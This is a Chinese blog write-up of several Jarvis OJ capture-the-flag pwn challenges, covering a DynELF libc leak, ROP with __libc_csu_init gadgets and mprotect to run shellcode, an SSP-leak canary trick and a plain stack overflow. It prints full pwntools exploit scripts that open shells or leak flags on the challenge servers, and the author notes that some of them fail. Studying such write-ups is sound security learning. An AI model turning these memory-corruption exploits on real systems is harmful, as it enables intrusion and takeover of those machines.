jarvis OJ部分writeup

[XMAN]level 0

[XMAN]level 1 —— 简单shellcode利用

[XMAN]level 2

[XMAN]level 3 —— ret2libc尝试

[XMAN]level2&level3 x64

[XMAN]level 4 —— DynELF

[XMAN]level 5

smashes ——SSP leak & ELF重映射

Test Your Memory ----?level1? 

 

/*************************************************************************************************************/

level4 ——DynELF

DynELF是在没有libc文件情况下,通过对任意地址的读,获得函数地址的工具

通常情况下,可以通过leak两个函数got中所存的地址,从而确定libc版本,获得所需函数地址

libc版本查询

但在查库无法确定版本的情况下,可以使用DynELF在内存中搜索。但DynELF容易超时,慎用

以level4为例,简单记录DynELF的用法     获取文件

程序保护和程序漏洞都没有设置障碍,可以直接通过一次read实现溢出

经过尝试,无法通过write.got和read.got中的地址找到libc版本,也不方便实现system_call

所以可以先用DynELF获得system函数的地址,再向bss段中写入“/bin/sh”,获取shell

#!/usr/bin/env python
# coding=utf-8
from pwn import *
# context.log_level = "debug"
io = remote("pwn2.jarvisoj.com", 9880)
elf = ELF("./level4")

# plt.got
read_plt = elf.plt["read"]
write_plt = elf.plt["write"]

vuln_addr = 0x804844b
main_addr = 0x8048470
bss_addr = 0x804a024

def leak(address):
    payload = 'a' * (0x88+0x4)
    payload += p32(write_plt) + p32(vuln_addr)    # 能够循环利用漏洞
    payload += p32(1) + p32(address) + p32(4)    # data只要4个字节长度
    io.send(payload)
    data = io.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

dyn = DynELF(leak,elf = ELF("./level4"))
sys_addr = dyn.lookup("__libc_system","libc")
# print hex(sys_addr)

payload = 'a' * (0x88 + 0x4)
payload += p32(read_plt) + p32(sys_addr)
payload += p32(1) + p32(bss_addr) + p32(10)
io.send(payload)
io.sendline("/bin/sh")
io.interactive()

关于DynELF较为详细的介绍:https://www.anquanke.com/post/id/85129  更加神学的说明

另有一道very_overflow也想用这种方法尝试一下,是利用puts构造leak函数

我觉得理论上和level4是同理可行的,但是没能成功得到system地址

脚本和错误如下,望路过的各路大神帮忙指点一二

#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *

context.log_level = "debug"
# io = remote("hackme.inndy.tw",7705)
io = process("./very_overflow")
elf = ELF("./very_overflow")

puts_addr = elf.plt["puts"]
puts_got = elf.got["puts"]
vuln_addr = 0x8048853

def debug():
    raw_input("Enter>>")
    # gdb.stop()
    gdb.attach(io)


def fill():
    sss = 'a' * 128
    for i in range(128):
        io.recvuntil("action: ")
        io.sendline("1")
        io.recvuntil("note: ")
        io.sendline(sss)
    
def leak(address):
    count = 0
    data = ''
    fill()
    io.recvuntil("action: ")
    # 
    io.sendline("3")
    io.recvuntil("show: ")
    io.sendline("127")
    io.recvuntil("action: ")
    io.sendline("1")
    # mZ
    io.recvuntil("note: ")
    debug()
    payload = p32(0) + 'a' * 12
    payload += p32(puts_addr) + p32(vuln_addr) + p32(address)
    
    # debug()
    io.sendline(payload)
    # note id
    io.recvline()
    # puts
    up = ''
    
    while 1 :
        c = io.recv(1)
        count += 1
        if up == '\n' and c == '1':
            data[-1] = '\x00'
            break
        else:
            data += c
        up = c
        print data
    data = data[:4]
    '''
    for i in range(4) :
        data += io.recv(numb = 1,timeout = 1)
    '''
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data
Dyn = DynELF(leak,elf = ELF("./very_overflow"))
sys_addr = Dyn.lookup("__libc_system","libc")
print hex(sys_addr)


'''
io.recvuntil("action: ")
io.sendline("3")
io.recvuntil("show: ")
io.sendline("127")
io.recvline()
switch_addr = io.recvline()[10:-1]
print switch_addr
'''

 感谢大佬们指教!

Level5——mprotect函数和mmap函数利用

本题文件和level3x64相同,但是禁用了system和execve函数,也就无法通过返回调用system函数或系统调用拿到shell

所以目前只能通过执行shellcode,但是开启了NX保护,不能直接在栈中执行。

可以通过两个途径

*mprotect函数:通过修改一段内存的权限,使其可以写入shellcode并执行。

*mmap函数:将一个文件映射到进程的地址空间,进程就可以采用指针的方式读写操作这一段内存···参考

这里使用mprotect函数,之后补充利用mmap函数的方法。

准备阶段

①leak函数地址的方式和level3相同;可以将shellcode写入bss段,通过mprotect函数修改bss段的执行权限,最终运行shellcode。

②关于通用gadgets   参考自0x9A82

在level3x64中也遇到了write函数和read函数没有找到控制第三个参数寄存器rdx的gadgets的问题,通过调试能发现执行时rdx的原始值为0x200,不会造成什么影响。但是使用mprotect函数则要求我们修改参数值。

此时的通用gadgets可以解决1~3个参数的传递问题,__libc_csu_init代码如下

 

Dump of assembler code for function __libc_csu_init:
   0x0000000000400650 <+0>:    push   r15
   0x0000000000400652 <+2>:    mov    r15d,edi
   0x0000000000400655 <+5>:    push   r14
   0x0000000000400657 <+7>:    mov    r14,rsi
   0x000000000040065a <+10>:    push   r13
   0x000000000040065c <+12>:    mov    r13,rdx
   0x000000000040065f <+15>:    push   r12
   0x0000000000400661 <+17>:    lea    r12,[rip+0x2001d8]        # 0x600840
   0x0000000000400668 <+24>:    push   rbp
   0x0000000000400669 <+25>:    lea    rbp,[rip+0x2001d8]        # 0x600848
   0x0000000000400670 <+32>:    push   rbx
   0x0000000000400671 <+33>:    sub    rbp,r12
   0x0000000000400674 <+36>:    xor    ebx,ebx
   0x0000000000400676 <+38>:    sar    rbp,0x3
   0x000000000040067a <+42>:    sub    rsp,0x8
   0x000000000040067e <+46>:    call   0x400480 <_init>
   0x0000000000400683 <+51>:    test   rbp,rbp
   0x0000000000400686 <+54>:    je     0x4006a6 <__libc_csu_init+86>
   0x0000000000400688 <+56>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400690 <+64>:    mov    rdx,r13
   0x0000000000400693 <+67>:    mov    rsi,r14
   0x0000000000400696 <+70>:    mov    edi,r15d
   0x0000000000400699 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040069d <+77>:    add    rbx,0x1
   0x00000000004006a1 <+81>:    cmp    rbx,rbp
   0x00000000004006a4 <+84>:    jne    0x400690 <__libc_csu_init+64>
   0x00000000004006a6 <+86>:    add    rsp,0x8
   0x00000000004006aa <+90>:    pop    rbx
   0x00000000004006ab <+91>:    pop    rbp
   0x00000000004006ac <+92>:    pop    r12
   0x00000000004006ae <+94>:    pop    r13
   0x00000000004006b0 <+96>:    pop    r14
   0x00000000004006b2 <+98>:    pop    r15
   0x00000000004006b4 <+100>:    ret    
View Code

 

 

利用过程:

1.执行gad1

 

0x00000000004006aa <+90>: pop rbx    //0
0x00000000004006ab <+91>: pop rbp    //1
0x00000000004006ac <+92>: pop r12    //call
0x00000000004006ae <+94>: pop r13 
0x00000000004006b0 <+96>: pop r14
0x00000000004006b2 <+98>: pop r15
0x00000000004006b4 <+100>: ret

 

2.再执行gad2

 

0x0000000000400690 <+64>: mov rdx,r13
0x0000000000400693 <+67>: mov rsi,r14
0x0000000000400696 <+70>: mov edi,r15d
0x0000000000400699 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040069d <+77>: add rbx,0x1
0x00000000004006a1 <+81>: cmp rbx,rbp
0x00000000004006a4 <+84>: jne 0x400690 <__libc_csu_init+64>
0x00000000004006a6 <+86>: add rsp,0x8
0x00000000004006aa <+90>: pop rbx
0x00000000004006ab <+91>: pop rbp
0x00000000004006ac <+92>: pop r12
0x00000000004006ae <+94>: pop r13
0x00000000004006b0 <+96>: pop r14
0x00000000004006b2 <+98>: pop r15
0x00000000004006b4 <+100>: ret

稍作解释:

① 首先x64函数调用的三个参数分别rdi,rsi,rdx,先pop到r13\14\15,再mov可以实现传参操作

 

r13   = rdx =arg3

 

r14   = rsi =arg2

 

r15d= rdi =arg1

 

r12= call address

 

② r12要传入存着调用函数地址的地址,[r12]相当于指针,会调用指向的地址,所以这里传入function.got

③rbx和rbp必须为0,1,使得call [r12+rbx*8],和 + 84处不会跳走

两个参数和一个参数的使用

 

此外还有一个老司机才知道的x64 gadgets,就是 pop rdi,ret的gadgets。这个gadgets还是在这里,
但是是由opcode错位产生的。 如上的例子中4008A2、4008A4两句的字节码如下
0x41 0x5f 0xc3 意思是pop r15,ret,但是恰好pop rdi,ret的opcode如下 0x5f 0xc3 因此如果我们指向0x4008A3就可以获得pop rdi,ret的opcode,从而对于单参数函数可以直接获得执行   与此类似的,还有0x4008A1处的 pop rsi,pop r15,ret 那么这个有什么用呢?我们知道x64传参顺序是rdi,rsi,rdx,rcx。 所以rsi是第二个参数,我们可以在rop中配合pop rdi,ret来使用pop rsi,pop r15,ret
这样就可以轻松的调用2个参数的函数。

 

 

 

整体思路

1.leak出mprotect函数的地址

2.将shellcode写入bss段

3.将mprotect地址写入__gmon_start__,以便于使用通用gadgets进行调用

4.将bss地址写入__libc_start_main

5.使用通用gadgets传参,调用mprotect函数修改bss段的权限

6.返回到shellcode,执行

exp(我也没搞清楚哪里fail了,僵持了好多天了,过些日子去去非气再说吧)

 

#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process("./level5")
io = remote("pwn2.jarvisoj.com",9884)
libc = ELF("./libc-2.19.so")
elf = ELF("./level5")

# gdb.attach(io,"b * 0x400613")
# plt and got and libc for ready
write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_plt = elf.plt["read"]
write_libc = libc.symbols["write"]
mprotect_libc = libc.symbols["mprotect"]
bss = 0x600a88
start = elf.symbols["main"]

# universe gadgets
pop_rbx_r15_ret = 0x4006aa
mov_rdx_call_r12 = 0x400690

def universe_gadgets(payload,arg1,arg2,arg3,call):
    payload += p64(pop_rbx_r15_ret)
    payload += p64(0) + p64(1)
    payload += p64(call) + p64(arg3) + p64(arg2) + p64(arg1)
    payload += p64(mov_rdx_call_r12)
    payload += 7 * p64(0xdeadbeef)
    return payload

'''
# leak the address of mprotect
payload = 'a' * (0x80 + 0x8)
payload = universe_gadgets(payload,1,write_got,8,write_plt)
payload += p64(start)
'''

# leak the address of mprotect
rdi_ret = 0x4006B3
rsi_ret = 0x4006B1
payload = 'a' * 0x88
payload += p64(rdi_ret) + p64(1)
payload += p64(rsi_ret) + p64(write_got) + p64(0xdeadbeef)
payload += p64(write_plt) + p64(start)
io.recvuntil("put:\n")
io.send(payload)
write_addr = u64(io.recv(8))
mprotect_addr = write_addr - write_libc + mprotect_libc
print "mprotect_addr ->> " + hex(mprotect_addr)

# read the shellcode into bss
payload = 'a' * 0x88
payload += p64(rdi_ret) + p64(0)
payload += p64(rsi_ret) + p64(bss) + p64(0xdeadbeef)
payload += p64(read_plt) + p64(start)
shellcode = asm(shellcraft.amd64.sh())
io.recvuntil("put:\n")
io.send(payload)
io.send(shellcode + '\0')
print "read over"

# read the mprotect_addr to __gmon_start__
gmon = 0x600a70
payload = 'a' * 0x88
payload += p64(rdi_ret)
payload += p64(0)
payload += p64(rsi_ret) + p64(gmon) + p64(0xdeadbeef)
payload += p64(read_plt) + p64(start)
io.recvuntil("put:\n")
io.send(payload)
io.send(p64(mprotect_addr))
print 'f**k ok'

# change bss into 'rwx' with mprotect
payload = 'a' * 0x88
payload = universe_gadgets(payload,0x600000,0x1000,7,gmon)
payload += p64(start)
io.recvuntil("put:\n")
io.send(payload)
print "change successfully"

# read the bss to __libc_start_main
libc_start = 0x600a68
payload = 'a' * 0x88
payload += p64(rdi_ret)
payload += p64(0)
payload += p64(rsi_ret) + p64(libc_start) + p64(0xdeadbeef)
payload += p64(read_plt) + p64(start)
io.recvuntil("put:\n")
io.send(payload)
io.send(p64(bss))

# execv the shellcode
payload = 'a' * 0x88
payload += p64(libc_start) + p64(libc_start)
io.recvuntil("put:\n")
io.send(payload)

io.interactive()
io.close()

 

这个暂时还有点bug,请参考打通的M4xVeritas

 

 

Smashes

SSP leak:主动触发canary,使泄露目标内容。

查看源码:

_stack_chk_fail:

 

void 
__attribute__ ((noreturn)) 
__stack_chk_fail (void) {   
    __fortify_fail ("stack smashing detected"); 
}

 

fortify_fail:

void 
__attribute__ ((noreturn)) 
__fortify_fail (msg)
   const char *msg; {
      /* The loop is added only to keep gcc happy. */
         while (1)
              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") 
} 
libc_hidden_def (__fortify_fail)

可以发现由于触发canary而调用的fortify_fail函数中输出第一个启动参数的指针,而且不会限制输出长度。

函数栈帧和启动参数的位置关系如图(图片来源veritas

可以发现,如果我们使payload足够长以至于突破栈帧,用目标地址覆盖到启动参数的位置,就能够在触发canary后将目标地址中的信息泄露出来。

而他的条件就是使用gets类不限制输入长度的方式,而且已知目标信息的地址,同时需要知道字符串和argv[0]的相对位置。

这种方式可以用来泄露证书密码或其他在内存中不变的信息,也可以用来泄露函数地址,即使有PIE保护,也只是前三位的随机化,16^3的范围还是可以接受的。

ELF的重映射:

当可执行文件足够小的时候,他的不同区段可能在内存中被多次映射,所以当其中一个损坏,还是有机会找到另一处存储着相同的内容。

 OK,查看题目文件smashes

开启了栈保护,使用gets输入,将最后一位转化成'\n',虽然能够无限长度输入,却无法绕过canary或打印flag。

根据以上分析,我们可以使用SSP leak泄露出flag,但是发现在打印flag时,该地址上的flag已经被覆盖了。

所以用到了ELF的重映射,在gdb中搜索flag,可以找到另一个备份

换成另一个地址后能够顺利得到flag。

# 我不是很清楚200是怎么来的,因为去掉了符号表,所以gdb并没能找到变量的地址,不过可以通过不断尝试找到合适的覆盖长度,直接暴力的 p64(target_addr)*200进行全部覆盖就可以了

EXP:

#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *
import time
context.log_level = 'debug'
# io = process("smashes")
io = remote("pwn.jarvisoj.com",9877)
payload = p64(0x400d21) * 0x200    # 200,201,···209···好像都是可以的
io.recvuntil("name?")
io.sendline(payload)
io.recvuntil("flag: ")
io.sendline()
io.recv()
time.sleep(0.5) # 在运行过程中发现即使相同的脚本也并不是每次都能成功,可能是最后没有接收到就结束了进程?
# 不是非常稳定,有时候不能触发canary。。。多试两次还是可以出来的

 Test Your Memory

好像第一个自己直接顺利搞出来的?跟level1好像差不多,直接栈溢出

只是system函数和参数没有在明面上,猜一下一试就得了

exp:

 

#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *
context.log_level = 'debug'
io = remote("pwn2.jarvisoj.com", 9876)
elf = ELF("./memory")

io.recvuntil("? : \n")
catflag = int(io.recvline(),16)
sys = elf.symbols["win_func"]
# print hex(address)

payload = 'a' * 0x17 + p32(sys) + p32(catflag) *2
io.recvuntil("> ")
io.sendline(payload)
# io.recv()
io.interactive()

 

 

 

 

 

 


作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;

转载于:https://www.cnblogs.com/ZHijack/p/8460551.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值